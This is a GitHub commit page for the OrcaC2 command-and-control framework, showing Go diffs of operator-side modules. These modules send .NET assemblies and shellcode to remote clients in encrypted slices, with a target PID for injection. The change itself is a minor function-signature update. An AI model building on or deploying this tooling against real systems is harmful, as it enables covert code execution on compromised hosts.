Skip to content

Commit 385455a

Browse files
committed
OrcaC2 1.10.8
1 parent 8b5cc3c commit 385455a

File tree

85 files changed

+6425
-5877
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

85 files changed

+6425
-5877
lines changed

Orca_Master/3rd_party/linux/plugin/386/fscan_386_Zone.Identifier

Lines changed: 0 additions & 4 deletions
This file was deleted.

Orca_Master/3rd_party/linux/plugin/amd64/fscan_amd64_Zone.Identifier

Lines changed: 0 additions & 4 deletions
This file was deleted.
Lines changed: 96 additions & 96 deletions
Original file line numberDiff line numberDiff line change
@@ -1,96 +1,96 @@
1-
package assemblyopt
2-
3-
import (
4-
"Orca_Master/cli/cmdopt/fileopt"
5-
"Orca_Master/cli/common"
6-
"Orca_Master/define/colorcode"
7-
"Orca_Master/define/config"
8-
"Orca_Master/tools/crypto"
9-
"Orca_Master/tools/util"
10-
"encoding/json"
11-
"fmt"
12-
"github.com/tj/go-spin"
13-
"io"
14-
"os"
15-
"path/filepath"
16-
"time"
17-
)
18-
19-
const SliceBytes = 40 * 1024 // 分片大小
20-
21-
type AssemblyMetaInfo struct {
22-
Fid string // 操作文件ID,随机生成的UUID
23-
FileName string // 程序名
24-
SliceNum int // 基础分片数量
25-
SliceSize int64 // 基础分片大小
26-
RemainSize int64 // 剩余分片大小
27-
}
28-
29-
// 获取程序集元信息,并加密
30-
func GetAssemblyMetaInfo(uploadFile string) string {
31-
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
32-
_, filename := filepath.Split(uploadFile)
33-
sliceSize := int64(SliceBytes)
34-
assemblyMetaInfo := AssemblyMetaInfo{
35-
Fid: util.GenUUID(),
36-
FileName: filename,
37-
SliceNum: sliceNum,
38-
SliceSize: sliceSize,
39-
RemainSize: remainSize,
40-
}
41-
metaInfo, err := json.Marshal(assemblyMetaInfo)
42-
if err != nil {
43-
return ""
44-
}
45-
data, _ := crypto.Encrypt(metaInfo, []byte(config.AesKey))
46-
return data
47-
}
48-
49-
// 发送程序集元信息
50-
func SendAssemblyMetaMsg(clientId, metaData string) common.HttpRetData {
51-
sendUserId := common.ClientId
52-
msg := "assemblyLoad"
53-
data := metaData
54-
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data)
55-
return retData
56-
}
57-
58-
// 发送程序集分片数据
59-
func SendAssemblySliceMsg(clientId string, sliceData []byte) common.HttpRetData {
60-
sendUserId := common.ClientId
61-
msg := "assemblySliceData"
62-
data, _ := crypto.Encrypt(sliceData, []byte(config.AesKey))
63-
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data)
64-
return retData
65-
}
66-
67-
// 发送文件
68-
func SendFileData(clientId string, uploadFile string) {
69-
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
70-
sliceSize := int64(SliceBytes)
71-
pUploadFile, _ := os.Open(uploadFile)
72-
defer pUploadFile.Close()
73-
s := spin.New()
74-
s.Set(spin.Box2)
75-
currentTime := time.Now().Format("2006/01/02 15:04:05")
76-
timeSign := colorcode.COLOR_GREY + currentTime + colorcode.END
77-
sign := fmt.Sprintf("%s %s", timeSign, colorcode.SIGN_NOTICE)
78-
for i := 0; i < sliceNum; i++ {
79-
fmt.Printf("\r%s%s assembly loading\033[m %s ", sign, colorcode.COLOR_CYAN, s.Next())
80-
sliceData := make([]byte, sliceSize)
81-
_, err := pUploadFile.Read(sliceData)
82-
if err != nil && err != io.EOF {
83-
panic(err.Error())
84-
}
85-
SendAssemblySliceMsg(clientId, sliceData)
86-
}
87-
// 处理最后一个分片
88-
sliceData := make([]byte, remainSize)
89-
_, err := pUploadFile.Read(sliceData)
90-
if err != nil && err != io.EOF {
91-
panic(err.Error())
92-
}
93-
SendAssemblySliceMsg(clientId, sliceData)
94-
fmt.Println()
95-
96-
}
1+
package assemblyopt
2+
3+
import (
4+
"Orca_Master/cli/cmdopt/fileopt"
5+
"Orca_Master/cli/common"
6+
"Orca_Master/define/colorcode"
7+
"Orca_Master/define/config"
8+
"Orca_Master/tools/crypto"
9+
"Orca_Master/tools/util"
10+
"encoding/json"
11+
"fmt"
12+
"github.com/tj/go-spin"
13+
"io"
14+
"os"
15+
"path/filepath"
16+
"time"
17+
)
18+
19+
const SliceBytes = 40 * 1024 // 分片大小
20+
21+
type AssemblyMetaInfo struct {
22+
Fid string // 操作文件ID,随机生成的UUID
23+
FileName string // 程序名
24+
SliceNum int // 基础分片数量
25+
SliceSize int64 // 基础分片大小
26+
RemainSize int64 // 剩余分片大小
27+
}
28+
29+
// 获取程序集元信息,并加密
30+
func GetAssemblyMetaInfo(uploadFile string) string {
31+
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
32+
_, filename := filepath.Split(uploadFile)
33+
sliceSize := int64(SliceBytes)
34+
assemblyMetaInfo := AssemblyMetaInfo{
35+
Fid: util.GenUUID(),
36+
FileName: filename,
37+
SliceNum: sliceNum,
38+
SliceSize: sliceSize,
39+
RemainSize: remainSize,
40+
}
41+
metaInfo, err := json.Marshal(assemblyMetaInfo)
42+
if err != nil {
43+
return ""
44+
}
45+
data, _ := crypto.Encrypt(metaInfo, []byte(config.AesKey))
46+
return data
47+
}
48+
49+
// 发送程序集元信息
50+
func SendAssemblyMetaMsg(clientId, metaData string) common.HttpRetData {
51+
sendUserId := common.ClientId
52+
msg := "assemblyLoad"
53+
data := metaData
54+
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data, "")
55+
return retData
56+
}
57+
58+
// 发送程序集分片数据
59+
func SendAssemblySliceMsg(clientId string, sliceData []byte) common.HttpRetData {
60+
sendUserId := common.ClientId
61+
msg := "assemblySliceData"
62+
data, _ := crypto.Encrypt(sliceData, []byte(config.AesKey))
63+
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data, "")
64+
return retData
65+
}
66+
67+
// 发送文件
68+
func SendFileData(clientId string, uploadFile string) {
69+
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
70+
sliceSize := int64(SliceBytes)
71+
pUploadFile, _ := os.Open(uploadFile)
72+
defer pUploadFile.Close()
73+
s := spin.New()
74+
s.Set(spin.Box2)
75+
currentTime := time.Now().Format("2006/01/02 15:04:05")
76+
timeSign := colorcode.COLOR_GREY + currentTime + colorcode.END
77+
sign := fmt.Sprintf("%s %s", timeSign, colorcode.SIGN_NOTICE)
78+
for i := 0; i < sliceNum; i++ {
79+
fmt.Printf("\r%s%s assembly loading\033[m %s ", sign, colorcode.COLOR_CYAN, s.Next())
80+
sliceData := make([]byte, sliceSize)
81+
_, err := pUploadFile.Read(sliceData)
82+
if err != nil && err != io.EOF {
83+
panic(err.Error())
84+
}
85+
SendAssemblySliceMsg(clientId, sliceData)
86+
}
87+
// 处理最后一个分片
88+
sliceData := make([]byte, remainSize)
89+
_, err := pUploadFile.Read(sliceData)
90+
if err != nil && err != io.EOF {
91+
panic(err.Error())
92+
}
93+
SendAssemblySliceMsg(clientId, sliceData)
94+
fmt.Println()
95+
96+
}
Lines changed: 95 additions & 95 deletions
Original file line numberDiff line numberDiff line change
@@ -1,95 +1,95 @@
1-
package execopt
2-
3-
import (
4-
"Orca_Master/cli/cmdopt/fileopt"
5-
"Orca_Master/cli/common"
6-
"Orca_Master/define/colorcode"
7-
"Orca_Master/define/config"
8-
"Orca_Master/tools/crypto"
9-
"Orca_Master/tools/util"
10-
"encoding/json"
11-
"fmt"
12-
"github.com/tj/go-spin"
13-
"io"
14-
"os"
15-
"time"
16-
)
17-
18-
const SliceBytes = 40 * 1024 // 分片大小
19-
20-
type ShellcodeMetaInfo struct {
21-
Fid string // 操作文件ID,随机生成的UUID
22-
LoadFunc string // 加载器类型
23-
Pid int // 注入的pid
24-
SliceNum int // 基础分片数量
25-
SliceSize int64 // 基础分片大小
26-
RemainSize int64 // 剩余分片大小
27-
}
28-
29-
// 获取程序集元信息,并加密
30-
func GetShellcodeMetaInfo(uploadFile, loadFunc string, pid int) string {
31-
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
32-
sliceSize := int64(SliceBytes)
33-
assemblyMetaInfo := ShellcodeMetaInfo{
34-
Fid: util.GenUUID(),
35-
LoadFunc: loadFunc,
36-
Pid: pid,
37-
SliceNum: sliceNum,
38-
SliceSize: sliceSize,
39-
RemainSize: remainSize,
40-
}
41-
metaInfo, err := json.Marshal(assemblyMetaInfo)
42-
if err != nil {
43-
return ""
44-
}
45-
data, _ := crypto.Encrypt(metaInfo, []byte(config.AesKey))
46-
return data
47-
}
48-
49-
// 发送程序集元信息
50-
func SendShellcodeMetaMsg(clientId, metaData string) common.HttpRetData {
51-
sendUserId := common.ClientId
52-
msg := "shellcode"
53-
data := metaData
54-
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data)
55-
return retData
56-
}
57-
58-
// 发送程序集分片数据
59-
func SendShellcodeSliceMsg(clientId string, sliceData []byte) common.HttpRetData {
60-
sendUserId := common.ClientId
61-
msg := "shellcodeSliceData"
62-
data, _ := crypto.Encrypt(sliceData, []byte(config.AesKey))
63-
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data)
64-
return retData
65-
}
66-
67-
// 发送文件
68-
func SendFileData(clientId string, uploadFile string) {
69-
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
70-
sliceSize := int64(SliceBytes)
71-
pUploadFile, _ := os.Open(uploadFile)
72-
defer pUploadFile.Close()
73-
s := spin.New()
74-
s.Set(spin.Box2)
75-
currentTime := time.Now().Format("2006/01/02 15:04:05")
76-
timeSign := colorcode.COLOR_GREY + currentTime + colorcode.END
77-
sign := fmt.Sprintf("%s %s", timeSign, colorcode.SIGN_NOTICE)
78-
for i := 0; i < sliceNum; i++ {
79-
fmt.Printf("\r%s%s shellcode loading\033[m %s ", sign, colorcode.COLOR_CYAN, s.Next())
80-
sliceData := make([]byte, sliceSize)
81-
_, err := pUploadFile.Read(sliceData)
82-
if err != nil && err != io.EOF {
83-
panic(err.Error())
84-
}
85-
SendShellcodeSliceMsg(clientId, sliceData)
86-
}
87-
// 处理最后一个分片
88-
sliceData := make([]byte, remainSize)
89-
_, err := pUploadFile.Read(sliceData)
90-
if err != nil && err != io.EOF {
91-
panic(err.Error())
92-
}
93-
SendShellcodeSliceMsg(clientId, sliceData)
94-
fmt.Println()
95-
}
1+
package execopt
2+
3+
import (
4+
"Orca_Master/cli/cmdopt/fileopt"
5+
"Orca_Master/cli/common"
6+
"Orca_Master/define/colorcode"
7+
"Orca_Master/define/config"
8+
"Orca_Master/tools/crypto"
9+
"Orca_Master/tools/util"
10+
"encoding/json"
11+
"fmt"
12+
"github.com/tj/go-spin"
13+
"io"
14+
"os"
15+
"time"
16+
)
17+
18+
const SliceBytes = 40 * 1024 // 分片大小
19+
20+
type ShellcodeMetaInfo struct {
21+
Fid string // 操作文件ID,随机生成的UUID
22+
LoadFunc string // 加载器类型
23+
Pid int // 注入的pid
24+
SliceNum int // 基础分片数量
25+
SliceSize int64 // 基础分片大小
26+
RemainSize int64 // 剩余分片大小
27+
}
28+
29+
// 获取程序集元信息,并加密
30+
func GetShellcodeMetaInfo(uploadFile, loadFunc string, pid int) string {
31+
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
32+
sliceSize := int64(SliceBytes)
33+
assemblyMetaInfo := ShellcodeMetaInfo{
34+
Fid: util.GenUUID(),
35+
LoadFunc: loadFunc,
36+
Pid: pid,
37+
SliceNum: sliceNum,
38+
SliceSize: sliceSize,
39+
RemainSize: remainSize,
40+
}
41+
metaInfo, err := json.Marshal(assemblyMetaInfo)
42+
if err != nil {
43+
return ""
44+
}
45+
data, _ := crypto.Encrypt(metaInfo, []byte(config.AesKey))
46+
return data
47+
}
48+
49+
// 发送程序集元信息
50+
func SendShellcodeMetaMsg(clientId, metaData string) common.HttpRetData {
51+
sendUserId := common.ClientId
52+
msg := "shellcode"
53+
data := metaData
54+
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data, "")
55+
return retData
56+
}
57+
58+
// 发送程序集分片数据
59+
func SendShellcodeSliceMsg(clientId string, sliceData []byte) common.HttpRetData {
60+
sendUserId := common.ClientId
61+
msg := "shellcodeSliceData"
62+
data, _ := crypto.Encrypt(sliceData, []byte(config.AesKey))
63+
retData := common.SendSuccessMsg(clientId, sendUserId, msg, data, "")
64+
return retData
65+
}
66+
67+
// 发送文件
68+
func SendFileData(clientId string, uploadFile string) {
69+
sliceNum, remainSize := fileopt.GetFileSliceInfo(uploadFile)
70+
sliceSize := int64(SliceBytes)
71+
pUploadFile, _ := os.Open(uploadFile)
72+
defer pUploadFile.Close()
73+
s := spin.New()
74+
s.Set(spin.Box2)
75+
currentTime := time.Now().Format("2006/01/02 15:04:05")
76+
timeSign := colorcode.COLOR_GREY + currentTime + colorcode.END
77+
sign := fmt.Sprintf("%s %s", timeSign, colorcode.SIGN_NOTICE)
78+
for i := 0; i < sliceNum; i++ {
79+
fmt.Printf("\r%s%s shellcode loading\033[m %s ", sign, colorcode.COLOR_CYAN, s.Next())
80+
sliceData := make([]byte, sliceSize)
81+
_, err := pUploadFile.Read(sliceData)
82+
if err != nil && err != io.EOF {
83+
panic(err.Error())
84+
}
85+
SendShellcodeSliceMsg(clientId, sliceData)
86+
}
87+
// 处理最后一个分片
88+
sliceData := make([]byte, remainSize)
89+
_, err := pUploadFile.Read(sliceData)
90+
if err != nil && err != io.EOF {
91+
panic(err.Error())
92+
}
93+
SendShellcodeSliceMsg(clientId, sliceData)
94+
fmt.Println()
95+
}

0 commit comments

Comments
 (0)